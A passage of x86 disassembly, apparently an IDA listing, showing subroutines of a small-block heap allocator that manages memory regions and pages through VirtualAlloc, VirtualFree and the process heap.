		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419779
; ---------------------------------------------------------------------------


loc_419755:				; CODE XREF: sub_4196B2+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419779
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_419779:				; CODE XREF: sub_4196B2+7Dj
					; sub_4196B2+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_419847
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4197B3
		push	3Fh
		pop	edi


loc_4197B3:				; CODE XREF: sub_4196B2+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_419835
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41980C
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4197FF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4197FF:				; CODE XREF: sub_4196B2+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419831
; ---------------------------------------------------------------------------


loc_41980C:				; CODE XREF: sub_4196B2+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419822
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419822:				; CODE XREF: sub_4196B2+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_419831:				; CODE XREF: sub_4196B2+158j
		shr	edx, cl
		or	[eax], edx


loc_419835:				; CODE XREF: sub_4196B2+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41984A
; ---------------------------------------------------------------------------


loc_419847:				; CODE XREF: sub_4196B2+E5j
		mov	edx, [ebp+arg_4]


loc_41984A:				; CODE XREF: sub_4196B2+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4199A0
; ---------------------------------------------------------------------------


loc_419859:				; CODE XREF: sub_4196B2+52j
					; sub_4196B2+5Cj
		xor	eax, eax
		jmp	loc_4199A3
; ---------------------------------------------------------------------------


loc_419860:				; CODE XREF: sub_4196B2+49j
		jge	loc_4199A0
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41988B
		push	3Fh
		pop	esi


loc_41988B:				; CODE XREF: sub_4196B2+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41991A
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4198A4
		push	3Fh
		pop	esi


loc_4198A4:				; CODE XREF: sub_4196B2+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4198F3
		cmp	esi, 20h
		jnb	short loc_4198CF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4198F0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4198F0
; ---------------------------------------------------------------------------


loc_4198CF:				; CODE XREF: sub_4196B2+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4198F0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4198F0:				; CODE XREF: sub_4196B2+214j
					; sub_4196B2+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_4198F3:				; CODE XREF: sub_4196B2+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41991A
		push	3Fh
		pop	esi


loc_41991A:				; CODE XREF: sub_4196B2+1DDj
					; sub_4196B2+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_419997
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41996E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419961
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_419961:				; CODE XREF: sub_4196B2+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_419993
; ---------------------------------------------------------------------------


loc_41996E:				; CODE XREF: sub_4196B2+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419984
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_419984:				; CODE XREF: sub_4196B2+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_419993:				; CODE XREF: sub_4196B2+2BAj
		shr	edx, cl
		or	[eax], edx


loc_419997:				; CODE XREF: sub_4196B2+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4199A0:				; CODE XREF: sub_4196B2+1A2j
					; sub_4196B2:loc_419860j
		push	1
		pop	eax


loc_4199A3:				; CODE XREF: sub_4196B2+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4196B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199A8	proc near		; CODE XREF: sub_418E04+41p
					; sub_419CA0:loc_419E6Fp
		cmp	ds:dword_42F590, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_4199BC
		mov	esi, offset off_42F580
		jmp	short loc_4199D9
; ---------------------------------------------------------------------------


loc_4199BC:				; CODE XREF: sub_4199A8+Bj
		push	2020h
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C8	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_419AE5


loc_4199D9:				; CODE XREF: sub_4199A8+12j
		mov	ebp, ds:dword_42219C
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_419ACE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_419AC0
		mov	eax, offset off_42F580
		cmp	esi, eax
		jnz	short loc_419A38
		cmp	ds:off_42F580, 0
		jnz	short loc_419A28
		mov	ds:off_42F580, eax


loc_419A28:				; CODE XREF: sub_4199A8+79j
		cmp	ds:off_42F584, 0
		jnz	short loc_419A4D
		mov	ds:off_42F584, eax
		jmp	short loc_419A4D
; ---------------------------------------------------------------------------


loc_419A38:				; CODE XREF: sub_4199A8+70j
		mov	[esi], eax
		mov	eax, ds:off_42F584
		mov	[esi+4], eax
		mov	ds:off_42F584, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_419A4D:				; CODE XREF: sub_4199A8+87j
					; sub_4199A8+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_419A6F:				; CODE XREF: sub_4199A8+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_419A6F
		push	ebx
		push	0
		push	edi
		call	sub_415500
		add	esp, 0Ch


loc_419A98:				; CODE XREF: sub_4199A8+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_419ABC
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_419A98
; ---------------------------------------------------------------------------


loc_419ABC:				; CODE XREF: sub_4199A8+F7j
		mov	eax, esi
		jmp	short loc_419AE7
; ---------------------------------------------------------------------------


loc_419AC0:				; CODE XREF: sub_4199A8+63j
		push	8000h
		push	0
		push	edi
		call	ds:dword_422198	; VirtualFree


loc_419ACE:				; CODE XREF: sub_4199A8+4Bj
		cmp	esi, offset off_42F580
		jz	short loc_419AE5
		push	esi
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C4	; RtlFreeHeap


loc_419AE5:				; CODE XREF: sub_4199A8+2Bj
					; sub_4199A8+12Cj
		xor	eax, eax


loc_419AE7:				; CODE XREF: sub_4199A8+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4199A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AEC	proc near		; CODE XREF: sub_419B42+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	ds:dword_422198	; VirtualFree
		cmp	ds:off_4315A0, esi
		jnz	short loc_419B11
		mov	eax, [esi+4]
		mov	ds:off_4315A0, eax


loc_419B11:				; CODE XREF: sub_419AEC+1Bj
		cmp	esi, offset off_42F580
		jz	short loc_419B39
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	ds:dword_4CA704
		call	ds:dword_4220C4	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419B39:				; CODE XREF: sub_419AEC+2Bj
		or	ds:dword_42F590, 0FFFFFFFFh
		pop	esi
		retn
sub_419AEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B42	proc near		; CODE XREF: sub_419C5B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:off_42F584
		push	edi


loc_419B4F:				; CODE XREF: sub_419B42+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_419BED
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_419B68:				; CODE XREF: sub_419B42+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_419BA9
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	ds:dword_422198	; VirtualFree
		test	eax, eax
		jz	short loc_419BA9
		or	dword ptr [edi], 0FFFFFFFFh
		dec	ds:dword_4C90EC
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_419B9E
		cmp	eax, edi
		jbe	short loc_419BA1


loc_419B9E:				; CODE XREF: sub_419B42+56j
		mov	[esi+0Ch], edi


loc_419BA1:				; CODE XREF: sub_419B42+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_419BB6


loc_419BA9:				; CODE XREF: sub_419B42+2Cj
					; sub_419B42+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_419B68


loc_419BB6:				; CODE XREF: sub_419B42+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_419BED
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_419BED
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_419BCD:				; CODE XREF: sub_419B42+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_419BDE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_419BCD


loc_419BDE:				; CODE XREF: sub_419B42+8Ej
		cmp	edx, 400h
		jnz	short loc_419BED
		push	ecx
		call	sub_419AEC
		pop	ecx


loc_419BED:				; CODE XREF: sub_419B42+11j
					; sub_419B42+7Dj ...
		cmp	esi, ds:off_42F584
		jz	short loc_419BFF
		cmp	[ebp+arg_0], 0
		jg	loc_419B4F


loc_419BFF:				; CODE XREF: sub_419B42+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419B42	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C04	proc near		; CODE XREF: sub_415DE1+3Ap
					; sub_41756F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_42F580
		push	esi
		mov	ecx, edx


loc_419C10:				; CODE XREF: sub_419C04+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_419C1A
		cmp	eax, [ecx+14h]
		jb	short loc_419C22


loc_419C1A:				; CODE XREF: sub_419C04+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_419C57
		jmp	short loc_419C10
; ---------------------------------------------------------------------------


loc_419C22:				; CODE XREF: sub_419C04+14j
		test	al, 0Fh
		jnz	short loc_419C57
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_419C57
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_419C57:				; CODE XREF: sub_419C04+1Aj
					; sub_419C04+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_419C04	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C5B	proc near		; CODE XREF: sub_415DE1+4Dp
					; sub_41756F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_419C9F
		inc	ds:dword_4C90EC
		cmp	ds:dword_4C90EC, 20h
		jnz	short locret_419C9F
		push	10h
		call	sub_419B42
		pop	ecx

locret_419C9F:				; CODE XREF: sub_419C5B+2Bj
					; sub_419C5B+3Aj
		retn
sub_419C5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CA0	proc near		; CODE XREF: sub_415D6D+4Ap
					; sub_41756F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:off_4315A0
		push	edi


loc_419CAE:				; CODE XREF: sub_419CA0+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_419D59
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_419D13


loc_419CD9:				; CODE XREF: sub_419CA0+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_419CFC
		cmp	[edi+4], ebx
		jbe	short loc_419CFC
		push	ebx
		push	ecx
		push	eax
		call	sub_419EA8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419D6B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_419CFC:				; CODE XREF: sub_419CA0+40j
					; sub_419CA0+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_419CD9
		jmp	short loc_419D16
; ---------------------------------------------------------------------------


loc_419D13:				; CODE XREF: sub_419CA0+37j
		mov	ebx, [ebp+arg_0]


loc_419D16:				; CODE XREF: sub_419CA0+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_419D5C


loc_419D29:				; CODE XREF: sub_419CA0+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_419D48
		cmp	[edi+4], ebx
		jbe	short loc_419D48
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_419EA8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419D6B
		mov	[edi+4], ebx


loc_419D48:				; CODE XREF: sub_419CA0+8Dj
					; sub_419CA0+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_419D29
		jmp	short loc_419D5C
; ---------------------------------------------------------------------------


loc_419D59:				; CODE XREF: sub_419CA0+14j
		mov	ebx, [ebp+arg_0]


loc_419D5C:				; CODE XREF: sub_419CA0+87j
					; sub_419CA0+B7j
		mov	esi, [esi]
		cmp	esi, ds:off_4315A0
		jz	short loc_419D7B
		jmp	loc_419CAE
; ---------------------------------------------------------------------------


loc_419D6B:				; CODE XREF: sub_419CA0+54j
					; sub_419CA0+A3j
		mov	ds:off_4315A0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_419EA3
; ---------------------------------------------------------------------------


loc_419D7B:				; CODE XREF: sub_419CA0+C4j
		mov	eax, offset off_42F580
		mov	edi, eax


loc_419D82:				; CODE XREF: sub_419CA0+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_419D8E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_419D9A


loc_419D8E:				; CODE XREF: sub_419CA0+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_419E6F
		jmp	short loc_419D82
; ---------------------------------------------------------------------------


loc_419D9A:				; CODE XREF: sub_419CA0+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_419DC9


loc_419DB8:				; CODE XREF: sub_419CA0+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_419DC9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_419DB8


loc_419DC9:				; CODE XREF: sub_419CA0+116j
					; sub_419CA0+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	ds:dword_42219C	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_419EA1
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_415500
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_419E30
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_419E06:				; CODE XREF: sub_419CA0+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_419E06


loc_419E30:				; CODE XREF: sub_419CA0+15Ej
		mov	ds:off_4315A0, edi
		lea	eax, [edi+2018h]


loc_419E3C:				; CODE XREF: sub_419CA0+1A8j
		cmp	ecx, eax
		jnb	short loc_419E4C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_419E4A
		add	ecx, 8
		jmp	short loc_419E3C
; ---------------------------------------------------------------------------


loc_419E4A:				; CODE XREF: sub_419CA0+1A3j
		cmp	ecx, eax


loc_419E4C:				; CODE XREF: sub_419CA0+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_419EA3
; ---------------------------------------------------------------------------


loc_419E6F:				; CODE XREF: sub_419CA0+F2j
		call	sub_4199A8
		test	eax, eax
		jz	short loc_419EA1
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	ds:off_4315A0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_419EA3
; ---------------------------------------------------------------------------


loc_419EA1:				; CODE XREF: sub_419CA0+143j
					; sub_419CA0+1D6j
		xor	eax, eax


loc_419EA3:				; CODE XREF: sub_419CA0+D6j
					; sub_419CA0+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419CA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EA8	proc near		; CODE XREF: sub_419CA0+4Ap
					; sub_419CA0+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_419EED
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_419EDC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_419EE5
; ---------------------------------------------------------------------------


loc_419EDC:				; CODE XREF: sub_419EA8+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_419EE5:				; CODE XREF: sub_419EA8+32j
		lea	eax, [edi+8]
		jmp	loc_419FBB
; ---------------------------------------------------------------------------


loc_419EED:				; CODE XREF: sub_419EA8+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_419EF6
		mov	eax, esi


loc_419EF6:				; CODE XREF: sub_419EA8+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_419F40


loc_419EFD:				; CODE XREF: sub_419EA8+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_419F33
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_419F09:				; CODE XREF: sub_419EA8+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_419F12
		inc	ebx
		inc	esi
		jmp	short loc_419F09
; ---------------------------------------------------------------------------


loc_419F12:				; CODE XREF: sub_419EA8+64j
		cmp	esi, edx
		jnb	short loc_419F64
		cmp	eax, [ebp+var_4]
		jnz	short loc_419F20
		mov	[ecx+4], esi
		jmp	short loc_419F2C
; ---------------------------------------------------------------------------


loc_419F20:				; CODE XREF: sub_419EA8+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_419FC5


loc_419F2C:				; CODE XREF: sub_419EA8+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_419F38
; ---------------------------------------------------------------------------


loc_419F33:				; CODE XREF: sub_419EA8+59j
		movzx	esi, bl
		add	eax, esi


loc_419F38:				; CODE XREF: sub_419EA8+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_419EFD


loc_419F40:				; CODE XREF: sub_419EA8+53j
		lea	esi, [ecx+8]


loc_419F43:				; CODE XREF: sub_419EA8+EBj
					; sub_419EA8+F2j
		cmp	esi, edi
		jnb	short loc_419FC5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_419FC5
		mov	al, [esi]
		test	al, al
		jnz	short loc_419F95
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_419F5B:				; CODE XREF: sub_419EA8+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_419F85
		inc	ebx
		inc	eax
		jmp	short loc_419F5B
; ---------------------------------------------------------------------------


loc_419F64:				; CODE XREF: sub_419EA8+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_419F75
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_419F7E
; ---------------------------------------------------------------------------


loc_419F75:				; CODE XREF: sub_419EA8+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_419F7E:				; CODE XREF: sub_419EA8+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_419FBB
; ---------------------------------------------------------------------------


loc_419F85:				; CODE XREF: sub_419EA8+B6j
		cmp	eax, edx
		jnb	short loc_419F9C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_419FC5
		mov	esi, ebx
		jmp	short loc_419F43
; ---------------------------------------------------------------------------


loc_419F95:				; CODE XREF: sub_419EA8+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_419F43
; ---------------------------------------------------------------------------


loc_419F9C:				; CODE XREF: sub_419EA8+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_419FAD
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_419FB6
; ---------------------------------------------------------------------------


loc_419FAD:				; CODE XREF: sub_419EA8+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_419FB6:				; CODE XREF: sub_419EA8+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_419FBB:				; CODE XREF: sub_419EA8+40j
					; sub_419EA8+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_419FC7
; ---------------------------------------------------------------------------


loc_419FC5:				; CODE XREF: sub_419EA8+7Ej
					; sub_419EA8+9Dj ...
		xor	eax, eax


loc_419FC7:				; CODE XREF: sub_419EA8+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FCC	proc near		; CODE XREF: sub_41756F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41A006
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41A066
; ---------------------------------------------------------------------------


loc_41A006:				; CODE XREF: sub_419FCC+26j
		jnb	short loc_41A06D
		mov	eax, [ebp+arg_C]
